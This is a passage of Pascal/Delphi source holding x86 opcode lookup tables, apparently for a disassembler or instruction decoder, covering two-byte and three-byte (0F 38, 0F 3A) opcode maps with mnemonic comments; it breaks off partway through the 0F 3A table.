{InvalidOpCode/VMOVAPD/VMOVAPS} {0x2A} 59, {VCVTSI2SD/CVTPI2PD/VCVTSI2SS/CVTPI2PS} {0x2B} 59, {MOVNTSD/MOVNTSS/VMOVNTPD/VMOVNTPS} {0x2C} 59, {CVTTPD2PI/VCVTTSD2SI/CVTTPS2PI/VCVTTSS2SI} {0x2D} 59, {CVTPD2PI/VCVTSD2SI/CVTPS2PI/VCVTSS2SI} {0x2E} 60, {InvalidOpCode/VUCOMISD/VUCOMISS} {0x2F} 60, {InvalidOpCode/VCOMISD/VCOMISS} {0x30} 21, {WRMSR} {0x31} 21, {RDTSC} {0x32} 21, {RDMSR} {0x33} 21, {RDPMC} {0x34} 21, {SYSENTER} {0x35} 21, {SYSEXIT} {0x36} 00, {InvalidOpCode} {0x37} 21, {GETSEC} {0x38} 64, {Escape_3_Byte} {0x39} 00, {InvalidOpCode} {0x3A} 64, {Escape_3_Byte} {0x3B} 00, {InvalidOpCode} {0x3C} 00, {InvalidOpCode} {0x3D} 00, {InvalidOpCode} {0x3E} 00, {InvalidOpCode} {0x3F} 00, {InvalidOpCode} {0x40} 01, {CMOVO} {0x41} 01, {CMOVNO} {0x42} 01, {CMOVB} {0x43} 01, {CMOVNB} {0x44} 01, {CMOVZ} {0x45} 01, {CMOVNZ} {0x46} 01, {CMOVBE} {0x47} 01, {CMOVNBE} {0x48} 01, {CMOVS} {0x49} 01, {CMOVNS} {0x4A} 01, {CMOVP} {0x4B} 01, {CMOVNP} {0x4C} 01, {CMOVL} {0x4D} 01, {CMOVNL} {0x4E} 01, {CMOVLE} {0x4F} 01, {CMOVNLE} {0x50} 60, {InvalidOpCode/VMOVMSKPD/VMOVMSKPS} {0x51} 59, {VSQRTPD/VSQRTSD/VSQRTSS/VSQRTPS} {0x52} 65, {InvalidOpCode/VRSQRTSS/VRSQRTPS} {0x53} 65, {InvalidOpCode/VRCPSS/VRCPPS} {0x54} 60, {InvalidOpCode/VANDPD/VANDPS} {0x55} 60, {InvalidOpCode/VANDNPD/VANDNPS} {0x56} 60, {InvalidOpCode/VORPD/VORPS} {0x57} 60, {InvalidOpCode/VXORPD/VXORPS} {0x58} 59, {VADDPD/VADDSD/VADDSS/VADDPS} {0x59} 59, {VMULPD/VMULSD/VMULSS/VMULPS} {0x5A} 59, {VCVTPD2PS/VCVTSD2SS/VCVTSS2SD/VCVTPS2PD} {0x5B} 61, {InvalidOpCode/VCVTPS2DQ/VCVTTPS2DQ/VCVTDQ2PS} {0x5C} 59, {VSUBPD/VSUBSD/VSUBSS/VSUBPS} {0x5D} 59, {VMINPD/VMINSD/VMINSS/VMINPS} {0x5E} 59, {VDIVPD/VDIVSD/VDIVSS/VDIVPS} {0x5F} 59, {VMAXPD/VMAXSD/VMAXSS/VMAXPS} {0x60} 60, {PUNPCKLBW/VPUNPCKLBW} {0x61} 60, {PUNPCKLWD/VPUNPCKLWD} {0x62} 60, {PUNPCKLDQ/VPUNPCKLDQ} {0x63} 60, {PACKSSWB/VPACKSSWB} {0x64} 60, {PCMPGTB/VPCMPGTB} {0x65} 60, {PCMPGTW/VPCMPGTW} {0x66} 60, {PCMPGTD/VPCMPGTD} {0x67} 60, {PACKUSWB/VPACKUSWB} {0x68} 60, {PUNPCKHBW/InvalidOpCode/VPUNPCKHBW} {0x69} 60, {PUNPCKHWD/InvalidOpCode/VPUNPCKHWD} {0x6A} 60, {PUNPCKHDQ/InvalidOpCode/VPUNPCKHDQ} {0x6B} 60, {PACKSSDW/InvalidOpCode/VPACKSSDW} {0x6C} 66, {InvalidOpCode/VPUNPCKLQDQ} {0x6D} 66, {InvalidOpCode/VPUNPCKHQDQ} {0x6E} 60, {MOVDQ/InvalidOpCode/VMOVDQ} {0x6F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU} {0x70} 67, {VPSHUFD/VPSHUFLW/VPSHUFHW/PSHUFW} {0x71} 68, {group_12} {0x72} 69, {group_13} {0x73} 70, {group_14} {0x74} 60, {PCMPEQB/InvalidOpCode/VPCMPEQB} {0x75} 60, {PCMPEQW/InvalidOpCode/VPCMPEQW} {0x76} 60, {PCMPEQD/InvalidOpCode/VPCMPEQD} {0x77} 21, {EMMS/VZEROUPPER/VZEROALL/InvalidOpCode} {0x78} 01, {VMREAD/InvalidOpCode} {0x79} 01, {VMWRITE/InvalidOpCode} {0x7A} 21, {SSE5A/InvalidOpCode} {0x7B} 21, {SSE5A/InvalidOpCode} {0x7C} 71, {InvalidOpCode/VHADDPD/VHADDPS} {0x7D} 71, {InvalidOpCode/VHSUBPD/VHSUBPS} {0x7E} 61, {MOVDQ/InvalidOpCode/VMOVDQ/VMOVQ} {0x7F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU} {0x80} 72, {JO} {0x81} 72, {JNO} {0x82} 72, {JB} {0x83} 72, {JNB} {0x84} 72, {JZ} {0x85} 72, {JNZ} {0x86} 72, {JBE} {0x87} 72, {JNBE} {0x88} 72, {JS} {0x89} 72, {JNS} {0x8A} 72, {JP} {0x8B} 72, {JNP} {0x8C} 72, {JL} {0x8D} 72, {JNL} {0x8E} 72, {JLE} {0x8F} 72, {JNLE} {0x90} 01, {SETO} {0x91} 01, {SETNO} {0x92} 01, {SETB} {0x93} 01, {SETNB} {0x94} 01, {SETZ} {0x95} 01, {SETNZ} {0x96} 01, {SETBE} {0x97} 01, {SETNBE} {0x98} 01, {SETS} {0x99} 01, {SETNS} {0x9A} 01, {SETP} {0x9B} 01, {SETNP} {0x9C} 01, {SETL} {0x9D} 01, {SETNL} {0x9E} 01, {SETLE} {0x9F} 01, {SETNLE} {0xA0} 11, {PUSH} {0xA1} 11, {POP} {0xA2} 21, {CPUID} {0xA3} 01, {BT} {0xA4} 20, {SHLD} {0xA5} 01, {SHLD} {0xA6} 00, {InvalidOpCode} {0xA7} 00, {InvalidOpCode} {0xA8} 11, {PUSH} {0xA9} 11, {POP} {0xAA} 21, {RSM} {0xAB} 01, {BTS} {0xAC} 20, {SHRD} {0xAD} 01, {SHRD} {0xAE} 73, {group_15} {0xAF} 01, {IMUL} {0xB0} 01, {CMPXCHG} {0xB1} 01, {CMPXCHG} {0xB2} 01, {LSS} {0xB3} 01, {BTR} {0xB4} 01, {LFS} {0xB5} 01, {LGS} {0xB6} 01, {MOVZX} {0xB7} 01, {MOVZX} {0xB8} 74, {POPCNT/InvalidOpCode} {0xB9} 75, {group_10_UD2/InvalidOpCode} {0xBA} 76, {group_8/InvalidOpCode} {0xBB} 01, {BTC/InvalidOpCode} {0xBC} 65, {BSF/TZCNT} {0xBD} 65, {BSR/LZCNT} {0xBE} 01, {MOVSX/InvalidOpCode} {0xBF} 01, {MOVSX/InvalidOpCode} {0xC0} 59, {XADD} {0xC1} 59, {XADD} {0xC2} 67, {VCMPccPD/VCMPccSD/VCMPccSS/VCMPccPS} {0xC3} 01, {InvalidOpCode/MOVNTI} {0xC4} 77, {InvalidOpCode/VPINSRW/PINSRW} {0xC5} 77, {InvalidOpCode/VPEXTRW/PEXTRW} {0xC6} 77, {InvalidOpCode/VSHUFPD/VSHUFPS} {0xC7} 78, {group_9} {0xC8} 21, {BSWAP} {0xC9} 21, {BSWAP} {0xCA} 21, {BSWAP} {0xCB} 21, {BSWAP} {0xCC} 21, {BSWAP} {0xCD} 21, {BSWAP} {0xCE} 21, {BSWAP} {0xCF} 21, {BSWAP} {0xD0} 71, {InvalidOpCode/VADDSUBPD/VADDSUBPS} {0xD1} 60, {PSRLW/InvalidOpCode/VPSRLW} {0xD2} 60, {PSRLD/InvalidOpCode/VPSRLD} {0xD3} 60, {PSRLQ/InvalidOpCode/VPSRLQ} {0xD4} 60, {InvalidOpCode/VPADDQ/PADDQ} {0xD5} 60, {PMULLW/InvalidOpCode/VPMULLW} {0xD6} 79, {InvalidOpCode/MOVDQ2Q/MOVQ2DQ/VMOVQ} {0xD7} 60, {InvalidOpCode/VPMOVMSKB/PMOVMSKB} {0xD8} 60, {PSUBUSB/VPSUBUSB} {0xD9} 60, {PSUBUSW/VPSUBUSW} {0xDA} 60, {VPMINUB/PMINUB} {0xDB} 60, {PAND/VPAND} {0xDC} 60, {PADDUSB/VPADDUSB} {0xDD} 60, {PADDUSW/VPADDUSW} {0xDE} 60, {VPMAXUB/PMAXUB} {0xDF} 60, {PANDN/VPANDN} {0xE0} 60, {InvalidOpCode/VPAVGB/PAVGB} {0xE1} 60, {PSRAW/InvalidOpCode/VPSRAW} {0xE2} 60, {PSRAD/InvalidOpCode/VPSRAD} {0xE3} 60, {InvalidOpCode/VPAVGW/PAVGW} {0xE4} 60, {InvalidOpCode/VPMULHUW/PMULHUW} {0xE5} 60, {PMULHW/InvalidOpCode/VPMULHW} {0xE6} 79, {InvalidOpCode/VCVTTPD2DQ/VCVTPD2DQ/VCVTDQ2PD} {0xE7} 60, {InvalidOpCode/VMOVNTDQ/MOVNTQ} {0xE8} 60, {PSUBSB/VPSUBSB} {0xE9} 60, {PSUBSW/VPSUBSW} {0xEA} 60, {VPMINSW/PMINSW} {0xEB} 60, {POR/VPOR} {0xEC} 60, {PADDSB/VPADDSB} {0xED} 60, {PADDSW/VPADDSW} {0xEE} 60, {VPMAXSW/PMAXSW} {0xEF} 60, {PXOR/VPXOR} {0xF0} 80, {InvalidOpCode/VLDDQU} {0xF1} 60, {PSLLW/InvalidOpCode/VPSLLW} {0xF2} 60, {PSLLD/InvalidOpCode/VPSLLD} {0xF3} 60, {PSLLQ/InvalidOpCode/VPSLLQ} {0xF4} 60, {InvalidOpCode/VPMULUDQ/PMULUDQ} {0xF5} 60, {PMADDWD/InvalidOpCode/VPMADDWD} {0xF6} 60, {InvalidOpCode/VPSADBW/PSADBW} {0xF7} 60, {InvalidOpCode/VMASKMOVDQU/MASKMOVQ} {0xF8} 60, {PSUBB/VPSUBB} {0xF9} 60, {PSUBW/VPSUBW} {0xFA} 60, {PSUBD/VPSUBD} {0xFB} 60, {VPSUBQ/PSUBQ} {0xFC} 60, {PADDB/VPADDB} {0xFD} 60, {PADDW/VPADDW} {0xFE} 60, {PADDD/VPADDD} {0xFF} 00 {InvalidOpCode} ); {============================================ ThreeByteTable38 ============================================} const ThreeByteTable38 : array[Byte] of Byte =(// {0x00} 60, {VPSHUFB/PSHUFB} {0x01} 60, {VPHADDW/PHADDW} {0x02} 60, {VPHADDD/PHADDD} {0x03} 60, {VPHADDSW/PHADDSW} {0x04} 60, {VPMADDUBSW/PMADDUBSW} {0x05} 60, {VPHSUBW/PHSUBW} {0x06} 60, {VPHSUBD/PHSUBD} {0x07} 60, {VPHSUBSW/PHSUBSW} {0x08} 60, {VPSIGNB/PSIGNB} {0x09} 60, {VPSIGNW/PSIGNW} {0x0A} 60, {VPSIGND/PSIGND} {0x0B} 60, {VPMULHRSW/PMULHRSW} {0x0C} 66, {VPERMILPS/InvalidOpCode} {0x0D} 66, {VPERMILPD/InvalidOpCode} {0x0E} 66, {VTESTPS/InvalidOpCode} {0x0F} 66, {VTESTPD/InvalidOpCode} {0x10} 66, {InvalidOpCode/PBLENDVB} {0x11} 00, {InvalidOpCode} {0x12} 00, {InvalidOpCode} {0x13} 66, {VCVTPH2PS/InvalidOpCode} {0x14} 66, {InvalidOpCode/BLENDVPS} {0x15} 66, {InvalidOpCode/BLENDVPD} {0x16} 66, {VPERMPS/InvalidOpCode} {0x17} 66, {InvalidOpCode/VPTEST} {0x18} 66, {VBROADCASTSS/InvalidOpCode} {0x19} 66, {VBROADCASTSD/InvalidOpCode} {0x1A} 66, {VBROADCASTF128/InvalidOpCode} {0x1B} 00, {InvalidOpCode} {0x1C} 60, {VPABSB/PABSB} {0x1D} 60, {VPABSW/PABSW} {0x1E} 60, {VPABSD/PABSD} {0x1F} 00, {InvalidOpCode} {0x20} 66, {InvalidOpCode/VPMOVSXBW} {0x21} 66, {InvalidOpCode/VPMOVSXBD} {0x22} 66, {InvalidOpCode/VPMOVSXBQ} {0x23} 66, {InvalidOpCode/VPMOVSXWD} {0x24} 66, {InvalidOpCode/VPMOVSXWQ} {0x25} 66, {InvalidOpCode/VPMOVSXDQ} {0x26} 00, {InvalidOpCode} {0x27} 00, {InvalidOpCode} {0x28} 66, {InvalidOpCode/VPMULDQ} {0x29} 66, {InvalidOpCode/VPCMPEQQ} {0x2A} 66, {InvalidOpCode/VMOVNTDQA} {0x2B} 66, {InvalidOpCode/VPACKUSDW} {0x2C} 66, {VMASKMOVPS/InvalidOpCode} {0x2D} 66, {VMASKMOVPD/InvalidOpCode} {0x2E} 66, {VMASKMOVPS/InvalidOpCode} {0x2F} 66, {VMASKMOVPD/InvalidOpCode} {0x30} 66, {InvalidOpCode/VPMOVZXBW} {0x31} 66, {InvalidOpCode/VPMOVZXBD} {0x32} 66, {InvalidOpCode/VPMOVZXBQ} {0x33} 66, {InvalidOpCode/VPMOVZXWD} {0x34} 66, {InvalidOpCode/VPMOVZXWQ} {0x35} 66, {InvalidOpCode/VPMOVZXDQ} {0x36} 66, {VPERMD/InvalidOpCode} {0x37} 66, {InvalidOpCode/VPCMPGTQ} {0x38} 66, {InvalidOpCode/VPMINSB} {0x39} 66, {InvalidOpCode/VPMINSD} {0x3A} 66, {InvalidOpCode/VPMINUW} {0x3B} 66, {InvalidOpCode/VPMINUD} {0x3C} 66, {InvalidOpCode/VPMAXSB} {0x3D} 66, {InvalidOpCode/VPMAXSD} {0x3E} 66, {InvalidOpCode/VPMAXUW} {0x3F} 66, {InvalidOpCode/VPMAXUD} {0x40} 66, {InvalidOpCode/VPMULLD} {0x41} 66, {InvalidOpCode/VPHMINPOSUW} {0x42} 00, {InvalidOpCode} {0x43} 00, {InvalidOpCode} {0x44} 00, {InvalidOpCode} {0x45} 66, {VPSRLVQ/InvalidOpCode} {0x46} 66, {VPSRAVD/InvalidOpCode} {0x47} 66, {VPSLLVQ/VPSLLVD/InvalidOpCode} {0x48} 00, {InvalidOpCode} {0x49} 00, {InvalidOpCode} {0x4A} 00, {InvalidOpCode} {0x4B} 00, {InvalidOpCode} {0x4C} 00, {InvalidOpCode} {0x4D} 00, {InvalidOpCode} {0x4E} 00, {InvalidOpCode} {0x4F} 00, {InvalidOpCode} {0x50} 00, {InvalidOpCode} {0x51} 00, {InvalidOpCode} {0x52} 00, {InvalidOpCode} {0x53} 00, {InvalidOpCode} {0x54} 00, {InvalidOpCode} {0x55} 00, {InvalidOpCode} {0x56} 00, {InvalidOpCode} {0x57} 00, {InvalidOpCode} {0x58} 66, {VPBROADCASTD/InvalidOpCode} {0x59} 66, {VPBROADCASTQ/InvalidOpCode} {0x5A} 66, {VBROADCASTI128/InvalidOpCode} {0x5B} 00, {InvalidOpCode} {0x5C} 00, {InvalidOpCode} {0x5D} 00, {InvalidOpCode} {0x5E} 00, {InvalidOpCode} {0x5F} 00, {InvalidOpCode} {0x60} 00, {InvalidOpCode} {0x61} 00, {InvalidOpCode} {0x62} 00, {InvalidOpCode} {0x63} 00, {InvalidOpCode} {0x64} 00, {InvalidOpCode} {0x65} 00, {InvalidOpCode} {0x66} 00, {InvalidOpCode} {0x67} 00, {InvalidOpCode} {0x68} 00, {InvalidOpCode} {0x69} 00, {InvalidOpCode} {0x6A} 00, {InvalidOpCode} {0x6B} 00, {InvalidOpCode} {0x6C} 00, {InvalidOpCode} {0x6D} 00, {InvalidOpCode} {0x6E} 00, {InvalidOpCode} {0x6F} 00, {InvalidOpCode} {0x70} 00, {InvalidOpCode} {0x71} 00, {InvalidOpCode} {0x72} 00, {InvalidOpCode} {0x73} 00, {InvalidOpCode} {0x74} 00, {InvalidOpCode} {0x75} 00, {InvalidOpCode} {0x76} 00, {InvalidOpCode} {0x77} 00, {InvalidOpCode} {0x78} 66, {VPBROADCASTB/InvalidOpCode} {0x79} 66, {VPBROADCASTW/InvalidOpCode} {0x7A} 00, {InvalidOpCode} {0x7B} 00, {InvalidOpCode} {0x7C} 00, {InvalidOpCode} {0x7D} 00, {InvalidOpCode} {0x7E} 00, {InvalidOpCode} {0x7F} 00, {InvalidOpCode} {0x80} 66, {INVPCID} {0x81} 66, {INVVPID} {0x82} 66, {INVPCID} {0x83} 00, {InvalidOpCode} {0x84} 00, {InvalidOpCode} {0x85} 00, {InvalidOpCode} {0x86} 00, {InvalidOpCode} {0x87} 00, {InvalidOpCode} {0x88} 00, {InvalidOpCode} {0x89} 00, {InvalidOpCode} {0x8A} 00, {InvalidOpCode} {0x8B} 00, {InvalidOpCode} {0x8C} 66, {VPMASKMOVD/VPMASKMOVQ/InvalidOpCode} {0x8D} 00, {InvalidOpCode} {0x8E} 66, {VPMASKMOVD/VPMASKMOVQ/InvalidOpCode} {0x8F} 00, {InvalidOpCode} {0x90} 66, {VPGATHERDD/VPGATHERDQ} {0x91} 66, {VPGATHERQD/VPGATHERQQ} {0x92} 66, {VGATHERDPS/VGATHERDPD} {0x93} 66, {VGATHERQPS/VGATHERQPD} {0x94} 00, {InvalidOpCode} {0x95} 00, {InvalidOpCode} {0x96} 66, {VFMADDSUB132PS/VFMADDSUB132PD} {0x97} 66, {VFMSUBADD132PS/VFMSUBADD132PD} {0x98} 66, {VFMADD132PS/VFMADD132PD} {0x99} 66, {VFMADD132SS/VFMADD132SD} {0x9A} 66, {VFMSUB132PS/VFMSUB132PD} {0x9B} 66, {VFMSUB132SS/VFMSUB132SD} {0x9C} 66, {VFNMADD132PS/VFNMADD132PD} {0x9D} 66, {VFNMADD132SS/VFNMADD132SD} {0x9E} 66, {VFNMSUB132PS/VFNMSUB132PD} {0x9F} 66, {VFNMSUB132SS/VFNMSUB132SD} {0xA0} 00, {InvalidOpCode} {0xA1} 00, {InvalidOpCode} {0xA2} 00, {InvalidOpCode} {0xA3} 00, {InvalidOpCode} {0xA4} 00, {InvalidOpCode} {0xA5} 00, {InvalidOpCode} {0xA6} 66, {VFMADDSUB213PS/VFMADDSUB213PD} {0xA7} 66, {VFMSUBADD213PS/VFMSUBADD213PD} {0xA8} 66, {VFMADD213PS/VFMADD213PD} {0xA9} 66, {VFMADD213SS/VFMADD213SD} {0xAA} 66, {VFMSUB213PS/VFMSUB213PD} {0xAB} 66, {VFMSUB213SS/VFMSUB213SD} {0xAC} 66, {VFNMADD213PS/VFNMADD213PD} {0xAD} 66, {VFNMADD213SS/VFNMADD213SD} {0xAE} 66, {VFNMSUB213PS/VFNMSUB213PD} {0xAF} 66, {VFNMSUB213SS/VFNMSUB213SD} {0xB0} 00, {InvalidOpCode} {0xB1} 00, {InvalidOpCode} {0xB2} 00, {InvalidOpCode} {0xB3} 00, {InvalidOpCode} {0xB4} 00, {InvalidOpCode} {0xB5} 00, {InvalidOpCode} {0xB6} 66, {VFMADDSUB231PS/VFMADDSUB231PD} {0xB7} 66, {VFMSUBADD231PS/VFMSUBADD231PD} {0xB8} 66, {VFMADD231PS/VFMADD231PD} {0xB9} 66, {VFMADD231SS/VFMADD231SD} {0xBA} 66, {VFMSUB231PS/VFMSUB231PD} {0xBB} 66, {VFMSUB231SS/VFMSUB231SD} {0xBC} 66, {VFNMADD231PS/VFNMADD231PD} {0xBD} 66, {VFNMADD231SS/VFNMADD231SD} {0xBE} 66, {VFNMSUB231PS/VFNMSUB231PD} {0xBF} 66, {VFNMSUB231SS/VFNMSUB231SD} {0xC0} 00, {InvalidOpCode} {0xC1} 00, {InvalidOpCode} {0xC2} 00, {InvalidOpCode} {0xC3} 00, {InvalidOpCode} {0xC4} 00, {InvalidOpCode} {0xC5} 00, {InvalidOpCode} {0xC6} 00, {InvalidOpCode} {0xC7} 00, {InvalidOpCode} {0xC8} 01, {SHA1NEXTE} {0xC9} 01, {SHA1MSG1} {0xCA} 01, {SHA1MSG2} {0xCB} 01, {SHA256RNDS2} {0xCC} 01, {SHA256MSG1} {0xCD} 01, {SHA256MSG2} {0xCE} 00, {InvalidOpCode} {0xCF} 00, {InvalidOpCode} {0xD0} 00, {InvalidOpCode} {0xD1} 00, {InvalidOpCode} {0xD2} 00, {InvalidOpCode} {0xD3} 00, {InvalidOpCode} {0xD4} 00, {InvalidOpCode} {0xD5} 00, {InvalidOpCode} {0xD6} 00, {InvalidOpCode} {0xD7} 00, {InvalidOpCode} {0xD8} 00, {InvalidOpCode} {0xD9} 00, {InvalidOpCode} {0xDA} 00, {InvalidOpCode} {0xDB} 66, {VAESIMC} {0xDC} 66, {VAESENC} {0xDD} 66, {VAESENCLAST} {0xDE} 66, {VAESDEC} {0xDF} 66, {VAESDECLAST} {0xE0} 00, {InvalidOpCode} {0xE1} 00, {InvalidOpCode} {0xE2} 00, {InvalidOpCode} {0xE3} 00, {InvalidOpCode} {0xE4} 00, {InvalidOpCode} {0xE5} 00, {InvalidOpCode} {0xE6} 00, {InvalidOpCode} {0xE7} 00, {InvalidOpCode} {0xE8} 00, {InvalidOpCode} {0xE9} 00, {InvalidOpCode} {0xEA} 00, {InvalidOpCode} {0xEB} 00, {InvalidOpCode} {0xEC} 00, {InvalidOpCode} {0xED} 00, {InvalidOpCode} {0xEE} 00, {InvalidOpCode} {0xEF} 00, {InvalidOpCode} {0xF0} 81, {MOVBE/InvalidOpCode/CRC32} {0xF1} 81, {MOVBE/InvalidOpCode/CRC32} {0xF2} 81, {ANDNv/InvalidOpCode} {0xF3} 81, {group_17} {0xF4} 81, {InvalidOpCode} {0xF5} 81, {PDEPv/PEXTv/BZHIv/InvalidOpCode} {0xF6} 81, {MULXv/ADCX/ADOX/InvalidOpCode} {0xF7} 81, {SHLXv/SHRXv/SARXv/BEXTRv/InvalidOpCode} {0xF8} 00, {InvalidOpCode} {0xF9} 00, {InvalidOpCode} {0xFA} 00, {InvalidOpCode} {0xFB} 00, {InvalidOpCode} {0xFC} 00, {InvalidOpCode} {0xFD} 00, {InvalidOpCode} {0xFE} 00, {InvalidOpCode} {0xFF} 00 {InvalidOpCode} ); {============================================ ThreeByteTable3A ============================================} const ThreeByteTable3A : array[Byte] of Byte =(// {0x00} 82, {VPERMQ/InvalidOpCode} {0x01} 82, {VPERMPD/InvalidOpCode} {0x02} 82, {VPBLENDD/InvalidOpCode} {0x03} 00, {InvalidOpCode} {0x04} 82, {VPERMILPS/InvalidOpCode} {0x05} 82, {VPERMILPD/InvalidOpCode} {0x06} 82, {VPERM2F128/InvalidOpCode} {0x07} 00, {InvalidOpCode} {0x08} 82, {InvalidOpCode/VROUNDPS} {0x09} 82, {InvalidOpCode/VROUNDPD} {0x0A} 82, {InvalidOpCode/VROUNDSS} {0x0B} 82, {InvalidOpCode/VROUNDSD} {0x0C} 82, {InvalidOpCode/VBLENDPS} {0x0D} 82, {InvalidOpCode/VBLENDPD} {0x0E} 82, {InvalidOpCode/VPBLENDW} {0x0F} 77, {VPALIGNR/PALIGNR} {0x10} 00, {InvalidOpCode} {0x11} 00, {InvalidOpCode} {0x12} 00, {InvalidOpCode} {0x13} 00, {InvalidOpCode} {0x14} 82, {InvalidOpCode/VPEXTRB} {0x15} 82, {InvalidOpCode/VPEXTRW} {0x16} 82, {InvalidOpCode/VPEXTRD} {0x17} 82, {InvalidOpCode/VEXTRACTPS} {0x18} 82, {VINSERTF128/InvalidOpCode} {0x19} 82, {VEXTRACTF128/InvalidOpCode} {0x1A} 00, {InvalidOpCode} {0x1B} 00, {InvalidOpCode} {0x1C} 00, {InvalidOpCode} {0x1D} 82, {VCVTPS2PH/InvalidOpCode} {0x1E} 00, {InvalidOpCode} {0x1F} 00, {InvalidOpCode} {0x20} 82, {InvalidOpCode/VINSERTPS} {0x21} 82, {InvalidOpCode/VPINSRD} {0x22} 00, {InvalidOpCode} {0x23} 00, {InvalidOpCode} {0x24} 00, {InvalidOpCode} {0x25} 00, {InvalidOpCode} {0x26} 00, {InvalidOpCode} {0x27} 00, {InvalidOpCode} {0x28} 00, {InvalidOpCode} {0x29} 00, {InvalidOpCode} {0x2A} 00, {InvalidOpCode} {0x2B} 00, {InvalidOpCode} {0x2C} 00, {InvalidOpCode} {0x2D} 00, {InvalidOpCode} {0x2E} 00, {InvalidOpCode} {0x2F} 00, {InvalidOpCode} {0x30} 00, {InvalidOpCode} {0x31} 00, {InvalidOpCode} {0x32} 00, {InvalidOpCode} {0x33} 00, {InvalidOpCode} {0x34} 00, {InvalidOpCode} {0x35} 00, {InvalidOpCode} {0x36} 00, {InvalidOpCode} {0x37} 00, {InvalidOpCode} {0x38} 82, {VINSERTI128/InvalidOpCode} {0x39} 82, {VEXTRACTI128/InvalidOpCode} {0x3A} 00, {InvalidOpCode} {0x3B} 00, {InvalidOpCode} {0x3C} 00, {InvalidOpCode} {0x3D} 00, {InvalidOpCode} {0x3E} 00, {InvalidOpCode} {0x3F} 00, {InvalidOpCode} {0x40} 82, {InvalidOpCode/VDPPS} {0x41} 82, {InvalidOpCode/VDPPD} {0x42} 82, {InvalidOpCode/VMPSADBW} {0x43} 00, {InvalidOpCode} {0x44} 82, {InvalidOpCode/VPCLMULQDQ} {0x45} 00, {InvalidOpCode} {0x46} 82, {VPERM2I128/InvalidOpCode} {0x47} 00, {InvalidOpCode} {0x48} 82, {VPERMILzz2PS/InvalidOpCode} {0x49} 82, {VPERMILzz2PD/InvalidOpCode} {0x4A} 66, {VBLENDVPS/InvalidOpCode} {0x4B} 66, {VBLENDVPD/InvalidOpCode} {0x4C} 66, {VPBLENDVB/InvalidOpCode} {0x4D} 00, {InvalidOpCode} {0x4E} 00, {InvalidOpCode} {0x4F} 00, {InvalidOpCode} {0x50} 00, {InvalidOpCode} {0x51} 00, {InvalidOpCode} {0x52} 00, {InvalidOpCode} {0x53} 00, {InvalidOpCode} {0x54} 00, {InvalidOpCode} {0x55} 00, {InvalidOpCode} {0x56} 00, {InvalidOpCode} {0x57} 00, {InvalidOpCode} {0x58} 00, {InvalidOpCode} {0x59} 00, {InvalidOpCode} {0x5A} 00, {InvalidOpCode} {0x5B} 00, {InvalidOpCode} {0x5C} 66, {VFMADDSUBPS/InvalidOpCode} {0x5D} 66, {VFMADDSUBPD/InvalidOpCode} {0x5E} 66, {VFMSUBADDPS/InvalidOpCode} {0x5F} 66, {VFMSUBADDPD/InvalidOpCode} {0x60} 82, {InvalidOpCode/VPCMPESTRM} {0x61} 82, {InvalidOpCode/VPCMPESTRI} {0x62} 82, {InvalidOpCode/VPCMPISTRM} {0x63} 82, {InvalidOpCode/VPCMPISTRI} {0x64} 00, {InvalidOpCode} {0x65} 00, {InvalidOpCode} {0x66} 00, {InvalidOpCode} {0x67} 00, {InvalidOpCode} {0x68} 66, {VFMADDPS/InvalidOpCode} {0x69} 66, {VFMADDPD/InvalidOpCode} {0x6A} 66, {VFMADDSS/InvalidOpCode} {0x6B} 66, {VFMADDSD/InvalidOpCode} {0x6C} 66, {VFMSUBPS/InvalidOpCode} {0x6D} 66, {VFMSUBPD/InvalidOpCode} {0x6E} 66, {VFMSUBSS/InvalidOpCode} {0x6F} 66, {VFMSUBSD/InvalidOpCode} {0x70} 00, {InvalidOpCode} {0x71} 00, {InvalidOpCode} {0x72} 00, {InvalidOpCode} {0x73} 00, {InvalidOpCode} {0x74} 00, {InvalidOpCode} {0x75} 00, {InvalidOpCode} {0x76} 00, {InvalidOpCode} {0x77} 00, {InvalidOpCode} {0x78} 66, {VFNMADDPS/InvalidOpCode} {0x79} 66, {VFNMADDPD/InvalidOpCode} {0x7A} 66, {VFNMADDSS/InvalidOpCode} {0x7B} 66, {VFNMADDSD/InvalidOpCode} {0x7C} 66, {VFNMSUBPS/InvalidOpCode} {0x7D} 66, {VFNMSUBPD/InvalidOpCode} {0x7E} 66, {VFNMSUBSS/InvalidOpCode} {0x7F} 66, {VFNMSUBSD/InvalidOpCode} {0x80} 00, {InvalidOpCode} {0x81} 00, {InvalidOpCode} {0x82} 00, {InvalidOpCode} {0x83} 00, {InvalidOpCode} {0x84} 00, {InvalidOpCode} {0x85} 00, {InvalidOpCode} {0x86} 00, {InvalidOpCode} {0x87} 00, {InvalidOpCode} {0x88} 00, {InvalidOpCode} {0x89} 00, {InvalidOpCode} {0x8A} 00, {InvalidOpCode} {0x8B} 00, {InvalidOpCode} {0x8C} 00, {InvalidOpCode} {0x8D} 00, {InvalidOpCode} {0x8E} 00, {InvalidOpCode} {0x8F} 00, {InvalidOpCode} {0x90} 00, {InvalidOpCode} {0x91} 00, {InvalidOpCode} {0x92} 00, {InvalidOpCode} {0x93} 00, {InvalidOpCode} {0x94} 00, {InvalidOpCode} {0x95} 00, {InvalidOpCode} {0x96} 00, {InvalidOpCode} {0x97} 00, {InvalidOpCode} {0x98} 00, {InvalidOpCode} {0x99} 00, {InvalidOpCode} {0x9A} 00, {InvalidOpCode} {0x9B} 00, {InvalidOpCode} {0x9C} 00, {InvalidOpCode} {0x9D} 00, {InvalidOpCode} {0x9E} 00, {InvalidOpCode} {0x9F} 00, {InvalidOpCode} {0xA0} 00, {InvalidOpCode} {0xA1} 00, {InvalidOpCode} {0xA2} 00, {InvalidOpCode} {0xA3} 00, {InvalidOpCode} {0xA4} 00, {InvalidOpCode} {0xA5} 00, {InvalidOpCode} {0xA6} 00, {InvalidOpCode} {0xA7} 00, {InvalidOpCode} {0xA8} 00, {InvalidOpCode} {0xA9} 00, {InvalidOpCode} {0xAA} 00, {InvalidOpCode} {0xAB} 00, {InvalidOpCode} {0xAC} 00, {InvalidOpCode} {0xAD} 00, {InvalidOpCode} {0xAE} 00, {InvalidOpCode} {0xAF} 00, {InvalidOpCode} {0xB0} 00, {InvalidOpCode} {0xB1} 00, {InvalidOpCode} {0xB2} 00, {InvalidOpCode} {0xB3} 00, {InvalidOpCode} {0xB4} 00, {InvalidOpCode} {0xB5} 00, {InvalidOpCode} {0xB6} 00, {InvalidOpCode} {0xB7} 00, {InvalidOpCode} {0xB8} 00, {InvalidOpCode} {0xB9} 00, {InvalidOpCode} {0xBA} 00, 